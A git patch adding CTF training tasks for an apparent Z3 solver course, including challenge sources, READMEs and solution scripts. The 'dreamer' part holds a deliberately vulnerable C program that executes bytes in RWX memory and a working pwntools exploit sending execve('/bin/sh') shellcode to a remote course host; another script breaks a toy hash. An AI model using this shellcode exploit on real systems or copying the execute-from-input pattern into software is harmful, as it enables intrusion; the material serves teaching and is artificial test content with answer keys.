From e9e0fb20c231ed769e63988c478d1bb3c15146d8 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Simon=20Bu=C3=9Fmann?= Date: Wed, 26 Feb 2025 20:14:15 +0100 Subject: [PATCH] stuff --- .DS_Store | Bin 6148 -> 8196 bytes hackthevote/pwn/comma-club/challenge.bndb | Bin 0 -> 561152 bytes insomnihack24/.DS_Store | Bin 6148 -> 6148 bytes insomnihack24/misc/.DS_Store | Bin 6148 -> 6148 bytes insomnihack24/misc/puzzled/.DS_Store | Bin 6148 -> 6148 bytes insomnihack24/mobile/.DS_Store | Bin 6148 -> 6148 bytes insomnihack24/web/mathematical/exploit.py | 1 - training/IntroZ3/introz3.pdf | Bin 0 -> 201075 bytes .../IntroZ3/tasks/chall1_rot128/README.md | 18 +++ .../IntroZ3/tasks/chall1_rot128/exploit.py | 149 ++++++++++++++++++ .../IntroZ3/tasks/chall1_rot128/server.py | 96 +++++++++++ .../IntroZ3/tasks/chall1_rot128/z3test.py | 39 +++++ .../IntroZ3/tasks/chall2_dreamer/Dockerfile | 15 ++ .../IntroZ3/tasks/chall2_dreamer/README.md | 14 ++ training/IntroZ3/tasks/chall2_dreamer/dream | Bin 0 -> 16064 bytes training/IntroZ3/tasks/chall2_dreamer/dream.c | 59 +++++++ .../IntroZ3/tasks/chall2_dreamer/exploit.py | 99 ++++++++++++ training/IntroZ3/tasks/chall2_dreamer/test.py | 51 ++++++ .../tasks/chall3_archventure/Dockerfile | 11 ++ .../tasks/chall3_archventure/README.md | 18 +++ .../tasks/chall3_archventure/archventure | Bin 0 -> 170216 bytes .../tasks/chall3_archventure/template.py | 83 ++++++++++ 22 files changed, 652 insertions(+), 1 deletion(-) create mode 100644 hackthevote/pwn/comma-club/challenge.bndb create mode 100644 training/IntroZ3/introz3.pdf create mode 100644 training/IntroZ3/tasks/chall1_rot128/README.md create mode 100644 training/IntroZ3/tasks/chall1_rot128/exploit.py create mode 100644 training/IntroZ3/tasks/chall1_rot128/server.py create mode 100644 training/IntroZ3/tasks/chall1_rot128/z3test.py create mode 100644 training/IntroZ3/tasks/chall2_dreamer/Dockerfile create mode 100644 training/IntroZ3/tasks/chall2_dreamer/README.md create mode 100644 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/dev/null +++ b/training/IntroZ3/tasks/chall1_rot128/README.md @@ -0,0 +1,18 @@ +This crypto challenge was part of the HTB University CTF we played in 2024 + +The problem is basically the following (all values are 128 bitvectors): +given h1 and h2, find r1,r2,r3,r4,s1,s2, such that: +ROL(s1, r1) ^ ROL(s2, r2) == h1 +ROL(s1, r3) ^ ROL(s2, r4) == h2 + +z3 doesn't seem to be able to solve this directly in a fast manner (challenge expects solution in less than 2 seconds) + +The crypto problem was then "reduced" to the following: + +Given any value x with parity 0, find y and c, such that (y ^ (ROL(y,c))) == x +Whether this even has a (good) solution, would also not seem clear, but sometimes it's worth just asking z3... + +Find a solution for this problem with z3 in `z3test.py` + +If you want to get an actual flag, copy paste the `compute_yc` function in the exploit.py under "TODO" and run +`./exploit.py courses.sec.in.tum.de 13371` \ No newline at end of file diff --git a/training/IntroZ3/tasks/chall1_rot128/exploit.py b/training/IntroZ3/tasks/chall1_rot128/exploit.py new file mode 100644 index 0000000..78eda5e --- /dev/null +++ b/training/IntroZ3/tasks/chall1_rot128/exploit.py @@ -0,0 +1,149 @@ +#!/usr/bin/env python + +import pwn +import sys +import re +import binascii +import random + +N = 128 +_ROL_ = lambda x, i : ((x << i) | (x >> (N-i))) & (2**N - 1) +_ROR_ = lambda x, i : ((x >> i) | (x << (N-i))) & (2**N - 1) + +class HashRoll: + def __init__(self): + self.reset_state() + + def hash_step(self, i): + r1, r2 = self.state[2*i], self.state[2*i+1] + r = _ROL_(self.state[-2], r1) ^ _ROL_(self.state[-1], r2) + print(f'h{i} = {r}') + return r + + def update_state(self, state=None): + if not state: + self.state = [0] * 6 + self.state[:4] = [random.randint(0, N) for _ in range(4)] + self.state[-2:] = [random.randint(0, 2**N) for _ in range(2)] + else: + self.state = state + + def reset_state(self): + self.update_state() + + def digest(self, buffer): + buffer = int.from_bytes(buffer, byteorder='big') + m1 = buffer >> N + m2 = buffer & (2**N - 1) + self.h = b'' + for i in range(2): + self.h += int.to_bytes(self.hash_step(i) ^ (m1 if not i else m2), length=N//8, byteorder='big') + return self.h + + +def parity(x): + res = 0 + while x: + res ^= x & 1 + x >>= 1 + return res + + +def compute_yc(x): + import z3 + s = z3.Solver() + y = z3.BitVec("y", N) + c = z3.BitVec("c", N) + s.add((y ^ z3.RotateLeft(y,c)) == x) + s.check() + m = s.model() + + return m[y].as_long(), m[c].as_long() + +# h = m1 ^ h(0) + m2 ^h(1) +# h(x) = rol(s1, vx1) ^ rol(s2, vx2) + +# given x, y is it possible to find: +# s1, s2, r1, r2, r3, r4, +# so that rol(s1, r1) ^ rol(s2, r2) = x +# and rol(s1, r3) ^ rol(s2, r4) = y +# r1 = 0, r2 = 0, r3 = 0 +# x = s1 ^ s2 +# rol(s1, r3) ^ rol(s2, r4) = y + +# h0 = rol(s1, r1) ^ rol(s2, r2) +# s1 = (h0^y) +# r1, r2 = 0 +# s2 = y +# r3 = 0, r4 = c +def solve_round(h1, h2): + """ + Return r1,r2,r3,r4,s1,s2 such that + _ROL_(s1, r1) ^ _ROL(s2, r2) == h1 + _ROL_(s1, r3) ^ _ROL(s2, r4) == h2 + """ + y,c = compute_yc(h1^h2) + + s1 = h1^y + s2 = y + r1, r2, r3, r4 = 0, 0, 0, c + j = 1 + + + # ensure non-zero vals + return [r1+j, r2+j, r3+j, (r4+j) % N, _ROR_(s1, j), _ROR_(s2, j)] + +r = pwn.remote(sys.argv[1], int(sys.argv[2])) + + + + +hashfunc = HashRoll() + + + + +ROUNDS = 3 + +for i in range(ROUNDS): + r.recvuntil(b"/3!\n") + l = r.recvuntil(b"\n").decode() + print(l) + + + m = re.search(r'H\(([0-9a-f]+)\) = ([0-9a-f]+)', l) + + + message, h = map(lambda x: int(x, 16), m.groups()) + + m1 = message >> N + m2 = message & (2**N - 1) + + th1 = h >> N + th2 = h & (2**N - 1) + + print(f'H({hex(message)[2:]}) = {hex(h)[2:]}') + + h0 = th1 ^ m1 + h1 = th2 ^ m2 + + state = solve_round(h0, h1) + hashfunc.update_state(state) + print(hashfunc.digest(message.to_bytes(N, byteorder='big'))) + print(h.to_bytes(2*N//8, byteorder='big')) + print(hashfunc.digest(message.to_bytes(N, byteorder='big')) == h.to_bytes(2*N//8, byteorder='big')) + print(state) + + r.recvuntil(b' :: ') + + r.sendline(b','.join(map(lambda x: str(x).encode(), state))) + + print(r.recvline().decode()) +print(r.recvline().decode()) + + + + # we want hashstep(0) to be m3 ^ m1 + # we want hashstep(1) to be m4 ^ m2 + + diff --git a/training/IntroZ3/tasks/chall1_rot128/server.py b/training/IntroZ3/tasks/chall1_rot128/server.py new file mode 100644 index 0000000..75fd704 --- /dev/null +++ b/training/IntroZ3/tasks/chall1_rot128/server.py @@ -0,0 +1,96 @@ +import random, os, signal +from Crypto.Util.number import long_to_bytes as l2b, bytes_to_long as b2l +from secret import FLAG + +ROUNDS = 3 +USED_STATES = [] +_ROL_ = lambda x, i : ((x << i) | (x >> (N-i))) & (2**N - 1) +N = 128 + +def handler(signum, frame): + print("\n\nToo slow, don't try to do sneaky things.") + exit() + +def validate_state(state): + if not all(0 < s < 2**N-1 for s in user_state[-2:]) or not all(0 <= s < N for s in user_state[:4]): + print('Please, make sure your input satisfies the upper and lower bounds.') + return False + + if sorted(state[:4]) in USED_STATES: + print('You cannot reuse the same state') + return False + + if sum(user_state[:4]) < 2: + print('We have to deal with some edge cases...') + return False + + return True + +class HashRoll: + def __init__(self): + self.reset_state() + + def hash_step(self, i): + r1, r2 = self.state[2*i], self.state[2*i+1] + return _ROL_(self.state[-2], r1) ^ _ROL_(self.state[-1], r2) + + def update_state(self, state=None): + if not state: + self.state = [0] * 6 + self.state[:4] = [random.randint(0, N) for _ in range(4)] + self.state[-2:] = [random.randint(0, 2**N) for _ in range(2)] + else: + self.state = state + + def reset_state(self): + self.update_state() + + def digest(self, buffer): + buffer = int.from_bytes(buffer, byteorder='big') + m1 = buffer >> N + m2 = buffer & (2**N - 1) + self.h = b'' + for i in range(2): + self.h += int.to_bytes(self.hash_step(i) ^ (m1 if not i else m2), length=N//8, byteorder='big') + return self.h + + +print('Can you test my hash function for second preimage resistance? You get to select the state and I get to choose the message ... Good luck!') + +hashfunc = HashRoll() + +for _ in range(ROUNDS): + print(f'ROUND {_+1}/{ROUNDS}!') + + server_msg = os.urandom(32) + hashfunc.reset_state() + server_hash = hashfunc.digest(server_msg) + print(f'You know H({server_msg.hex()}) = {server_hash.hex()}') + + signal.signal(signal.SIGALRM, handler) + signal.alarm(2) + + user_state = input('Send your hash function state (format: a,b,c,d,e,f) :: ').split(',') + + try: + user_state = list(map(int, user_state)) + + if not validate_state(user_state): + print("The state is not valid! Try again.") + exit() + + hashfunc.update_state(user_state) + + if hashfunc.digest(server_msg) == server_hash: + print(f'Moving on to the next round!') + USED_STATES.append(sorted(user_state[:4])) + else: + print('Not today.') + exit() + except: + print("The hash function's state must be all integers.") + exit() + finally: + signal.alarm(0) + +print(f'Uhm... how did you do that? I thought I had cryptanalyzed it enough ... {FLAG}') \ No newline at end of file diff --git a/training/IntroZ3/tasks/chall1_rot128/z3test.py b/training/IntroZ3/tasks/chall1_rot128/z3test.py new file mode 100644 index 0000000..fcad9e3 --- /dev/null +++ b/training/IntroZ3/tasks/chall1_rot128/z3test.py @@ -0,0 +1,39 @@ +import random +import z3 + +_ROL_ = lambda x, i : ((x << i) | (x >> (N-i))) & (2**N - 1) + + +N = 128 + +def parity(x): + res = 0 + while x: + res ^= x & 1 + x >>= 1 + return res + + +while True: + x = random.randint(0, 2**128) + if parity(x) == 0: + break + +# Compute y and c, such that y ^ _ROL_(y,c) == x +# Hint: to implement _ROL_, z3 already has the function z3.RotateLeft +def compute_yc(x): + s = z3.Solver() + y = z3.BitVec("y", N) + c = z3.BitVec("c", N) + s.add((y ^ z3.RotateLeft(y,c)) == x) + s.check() + m = s.model() + + return m[y].as_long(), m[c].as_long() + + +y, c = compute_yc(x) + +print(f'{y=}, {c=}') +print(f'{x=}, {y ^ _ROL_(y, c)=}') +print(f'{x==y ^ _ROL_(y, c)=}') diff --git a/training/IntroZ3/tasks/chall2_dreamer/Dockerfile b/training/IntroZ3/tasks/chall2_dreamer/Dockerfile new file mode 100644 index 0000000..2784682 --- /dev/null +++ b/training/IntroZ3/tasks/chall2_dreamer/Dockerfile @@ -0,0 +1,15 @@ +# docker build -t dreamer . && docker run --rm -p 1337:1337 --name dreamer -dit dreamer +FROM archlinux:latest + +RUN pacman -Sy --noconfirm socat gcc + +WORKDIR /app + +COPY dream /app/ +RUN chmod +x /app/dream +ARG FLAG=GPNCTF{fake_flag} +RUN echo "$FLAG" > flag.txt + +EXPOSE 1337 + +ENTRYPOINT [ "socat", "tcp-l:1337,reuseaddr,fork", "EXEC:./dream,stderr" ] diff --git a/training/IntroZ3/tasks/chall2_dreamer/README.md b/training/IntroZ3/tasks/chall2_dreamer/README.md new file mode 100644 index 0000000..5d6cf65 --- /dev/null +++ b/training/IntroZ3/tasks/chall2_dreamer/README.md @@ -0,0 +1,14 @@ +This pwn/misc challenge was part of GPN CTF 2024 + +The challenge: + - We can execute 4 bytes of arbitrary shellcode followed by 100 bytes of shellcode generated by a weird RNG, which we can seed + - We already figured out a short sequence (9 bytes) of shellcode that we want to execute. + This means we need to find a seed which will generate 5 specific bytes. + +The RNG is already re-implemented in python for you in `test.py` and `exploit.py`. +Implement the function `get_seed_for_sequence` to finish the exploit. `test.py` allows you to verify your implementation is correct. + +The RNG function `custom_random` takes a current state variable (initially the seed) and will return a tuple of (next byte, next state) + +To get the flag from the finished exploit, run: `./exploit.py courses.sec.in.tum.de 13372` +Note, the shellcode and exploit succeeds only with a probability of 50%, you may need to run it multiple times. diff --git a/training/IntroZ3/tasks/chall2_dreamer/dream b/training/IntroZ3/tasks/chall2_dreamer/dream new file mode 100644 index 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<< (8 * sizeof(X) - (N)))) +unsigned long STATE; +unsigned long CURRENT; + +char custom_random(){ + STATE = ROTL(STATE,30) ^ ROTR(STATE,12) ^ ROTL(STATE,42) ^ ROTL(STATE,4) ^ ROTR(STATE,5); + return STATE % 256; +} + +void* experience(long origin){ + char* ccol= mmap (0,1024, PROT_READ|PROT_WRITE|PROT_EXEC, + MAP_PRIVATE|MAP_ANONYMOUS, -1, 0); + size_t k = 0; + while(k<106){ + *(ccol+k) = 0x90; //nop just in case; + k++; + } + k=16; + *((int*)ccol) = origin; + while(k<100){ + *(ccol+k)=custom_random(); + k++; + } + return ccol; + +} + +void sleepy(void * dream){ + int (*d)(void) = (void*)dream; + d(); +} + + +void win(){ + execv("/bin/sh",NULL); +} + +void setup(){ + setvbuf(stdin, NULL, _IONBF, 0); + setvbuf(stdout, NULL, _IONBF, 0); + setvbuf(stderr, NULL, _IONBF, 0); +} + +int main(){ + setup(); + long seed=0; + printf("the win is yours at %p\n", win); + scanf("%ld",&seed); + STATE = seed; + printf("what are you thinking about?"); + scanf("%ld",&seed); + sleepy(experience(seed)); +} diff --git a/training/IntroZ3/tasks/chall2_dreamer/exploit.py b/training/IntroZ3/tasks/chall2_dreamer/exploit.py new file mode 100644 index 0000000..6095d07 --- /dev/null +++ b/training/IntroZ3/tasks/chall2_dreamer/exploit.py @@ -0,0 +1,99 @@ + +import time +import pwn +import z3 +import sys + + +def ROL(X, N): + return ((((X) << (N)) | ((X) >> (64 - (N)))) % (2 ** 64)) + +def ROR(X, N): + return ((((X) >> (N)) | ((X) << (64 - (N)))) % (2 ** 64)) + +def custom_random(state): + NEW_STATE = ROL(state,30) ^ ROR(state,12) ^ ROL(state,42) ^ ROL(state,4) ^ ROR(state,5); + return NEW_STATE % 256, NEW_STATE; + + +pwn.context.arch = 'x86_64' + + +shc = pwn.asm(""" + cdq; + push rdi; + xor edi, edi; + pop rsi; + xor eax, eax; + syscall +""") + + + +def get_seed_for_sequence(bytesequence): + s = z3.Solver() + base_state = z3.BitVec("base_state", 64) + cur_state = base_state + for byte in bytesequence: + gen_byte, cur_state = custom_random(cur_state) + s.add(gen_byte == byte) + + if s.check() != z3.sat: + raise RuntimeError() + + m = s.model() + return m[base_state].as_long() + +def get_values(): + + print(len(shc)) + + first_val = pwn.u32(shc[:4]) + print(first_val) + + second_val = get_seed_for_sequence(shc[4:]) + print(second_val) + print(str(second_val).encode()) + return first_val, second_val + +first_val, second_val = get_values() + + + +cs = second_val + +for v in shc[4:]: + b, cs = custom_random(cs) + print(b, v) + assert b == v + + + +if len(sys.argv) > 2: + r = pwn.remote(sys.argv[1], int(sys.argv[2])) +else: + r = pwn.remote("localhost", 1337) + + +r.recvuntil(b"at ") + +win = int(r.recvline().strip().decode(), 16) + +r.sendline(str(second_val).encode()) +r.recvuntil(b"?") + +r.sendline(str(first_val).encode()) + + +_shc = bytearray([ + 0x48, 0x31, 0xd2, 0x48, 0xbb, 0xff, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x48, 0xc1, 0xeb, + 0x08, 0x53, 0x48, 0x89, 0xe7, 0x48, 0x31, 0xc0, 0x50, 0x57, 0x48, 0x89, 0xe6, 0xb0, 0x3b, 0x0f, + 0x05, 0x6a, 0x01, 0x5f, 0x6a, 0x3c, 0x58, 0x0f, 0x05 +]) + +time.sleep(.3) + +r.send(b'\x90' * (0x10 + len(shc)-4) + _shc) + +r.interactive() + diff --git a/training/IntroZ3/tasks/chall2_dreamer/test.py b/training/IntroZ3/tasks/chall2_dreamer/test.py new file mode 100644 index 0000000..267d71b --- /dev/null +++ b/training/IntroZ3/tasks/chall2_dreamer/test.py @@ -0,0 +1,51 @@ + +import random +import z3 + + +def ROL(X, N): + if isinstance(X, z3.BitVecRef): + return z3.RotateLeft(X,N) + else: + return ((((X) << (N)) | ((X) >> (64 - (N)))) % (2 ** 64)) + + +def ROR(X, N): + if isinstance(X, z3.BitVecRef): + return z3.RotateRight(X,N) + else: + return ((((X) >> (N)) | ((X) << (64 - (N)))) % (2 ** 64)) + +def custom_random(state): + NEW_STATE = ROL(state,30) ^ ROR(state,12) ^ ROL(state,42) ^ ROL(state,4) ^ ROR(state,5) + return NEW_STATE % 256, NEW_STATE + +def get_seed_for_sequence(bytesequence): + s = z3.Solver() + base_state = z3.BitVec("base_state", 64) + cur_state = base_state + for byte in bytesequence: + gen_byte, cur_state = custom_random(cur_state) + s.add(gen_byte == byte) + + if s.check() != z3.sat: + raise RuntimeError() + + m = s.model() + return m[base_state].as_long() + + +def gen_sequence(seed, length): + r = [] + cs = seed + for _ in range(length): + v, cs = custom_random(cs) + r.append(v) + return bytes(r) + + +test = random.getrandbits(32).to_bytes(4) +seed = get_seed_for_sequence(test) +print(seed) +print(test) +assert test == gen_sequence(seed, 4) diff --git a/training/IntroZ3/tasks/chall3_archventure/Dockerfile b/training/IntroZ3/tasks/chall3_archventure/Dockerfile new file mode 100644 index 0000000..d97c785 --- /dev/null +++ b/training/IntroZ3/tasks/chall3_archventure/Dockerfile @@ -0,0 +1,11 @@ +# docker build -t archventure-time . && docker run -it archventure-time +FROM ubuntu:24.04 + +RUN apt update +RUN apt install -y qemu-user libc6-arm64-cross libc6-riscv64-cross libc6-ppc64-cross + +COPY ./archventure /app/chal + +WORKDIR /app + +CMD ["./chal"] diff --git a/training/IntroZ3/tasks/chall3_archventure/README.md b/training/IntroZ3/tasks/chall3_archventure/README.md new file mode 100644 index 0000000..56e781a --- /dev/null +++ b/training/IntroZ3/tasks/chall3_archventure/README.md @@ -0,0 +1,18 @@ +This challenge was part of GPN2024 CTF + +The binary doesn't need to be analyzed and is there only for reference and to retrieve the flag with the correct license code. +Template code is provided, the reversing part of the individual constraints was already done/is given. + +The license key has the form XXXXX-XXXXX-XXXXX-XXXXX +The template code will mostly ignore the '-' (since the binary does it mostly as well) and `license[5]` will refer to the 6th X + +For context: + - The binary will perform some general constraint checks on the license + - The binary will extract 4 binaries of different architectures that each contain different parts of a constraint set and are then executed + - The constraints are described in the template and the relevant arrays extracted already + + +To validate your license key, run the binary (it requires qemu and some dependencies, so using the Dockerfile might be easiest): + +Build: `docker build -t archventure .` +Run: `docker run --rm -it archventure` diff --git a/training/IntroZ3/tasks/chall3_archventure/archventure b/training/IntroZ3/tasks/chall3_archventure/archventure new file mode 100644 index 0000000000000000000000000000000000000000..b7125e80f16fa4ab7cc7448d22ab3b0e778aa52e GIT binary patch literal 170216 zcmeI53w%|@wg2ZN0U{zqMMY6LJVekE!b1eBm;?d`L5v73wzeT82a=MP$%zdXG!PJC z#D-ccecYP%-)q&|&%NB%+GwlBN0r*gAD`vke`}+)HM!cFwzP(paQ^GN_pFnhZKC%1 zzn}k|(K&0@n)RCB%$~i^-e-p!3sx*ii$si;bhFUFb)4)=a&1T1-Za}XCfCe2C&=g7 z<}5Q@q#06kZEu(!vSvy%tzNoN?8ea;gr4b(jZ)1JirrA<;Ap=`smbzr?1s^_e3jr;-N`rP_Q*(>oU-N~5wB3$7QwL-7LJPZ2Yu9P*lp5cSQL1?2 zhC1K+4bvRyqbLpAm07zmUF@3~rNp3I^@~L5UlOm-+I8*l2NI^&`0kBTjd!Kkfy;X> zI?bzWyrJfy)s9;!^G%sqQNDiO+?f@nGb+lf>KkS>%%3-7-rVfE>g?HGKY2x^vZj`< zT*Gv9AhYgFTBFaaKl;Yne)M1X!EX&yL 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zDE#XE*c>}>y`31ffi>?eYyX$tk8QJtdOue4()+Q6wqNhZ@*Vl_Q9A9sgnj4Oi>X{o z3oTt|X^o|gmbO~jX6b%QJ1jkDX{V(t@vbPOy&?Z6SMelGU^{ z_#K=cwNrXe$i9OEQc8;IiPjgV>@92lO&Y=R>-C9Jy>3zcFn-^(_B#J2YBeqWWofF% z>(FkiWge0S@l~s9hu>0qjVf9ij{p6TeQc+1pQ1Pq6kR_mdO;e&`{;T-R%0JPg!PqI z`m)#u@1yJWTEly^|CQL2qTMD;qrI+ZwD#+yFIb{MM%sUr%Gy_Zy)Nn02PhU;j$exA zt?TFWA`8aX>%GofeZ%Mw_^F?C=?~hcE)ZLN`)OX({tvZN$#G(gO!LpR2mCZ^Z!gbP n-9%F@zcJdz&k4!ZeriZgu9P6v*nW@yxzffzO%-ith&BHgi for i in range(20)] + +s = z3.Solver() + +# General license format constraints: +# Each character is either 0-9 or A-Z + +## TODO + + +## bin1 constraints +# after performing sort on the license key +# it will be: 067889BBCKKMOPPUVWYY +# I.e. the license key is made up out of exactly these characters + + +## bin2 +# sums of numbers and capital chars +# For each set of 5 characters in the XXXXX-XXXXX-XXXXX-XXXXX license code, +# the numbers are summed together and compared +# same for the characters A-Z, where A represents 0, B represents 1, +# ... and Z represents 25 +# The arrays below already have the correct sums +number_sums = [ 0, 7, 0xE, 0x11 ] +char_sums = [ 61, 36, 44, 0x32 ] + +## bin3 +# bin3 will for each byte at license [i] in the license code +# get the index with strchr and then license[i+1] is allowed +# to only contain values that are in the 0x18 4-byte ints +# in the array starting at idx * 0x60 (note: 0x18*4 = 60) +# strchr of ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 +# Please keep in mind: this was a binary with a big-endian architecture +# the given u32 will unpack a 4-byte big-endian value if given 4 bytes +allowed_chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789" +bin3_allow_array = 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+u32 = lambda x: struct.unpack(">I", x)[0] + + + +## bin4 +# Please keep in mind: this was a binary with a little-endian architecture +# the given u32 will unpack a 4-byte little-endian value if given 4 bytes +u32 = lambda x: struct.unpack("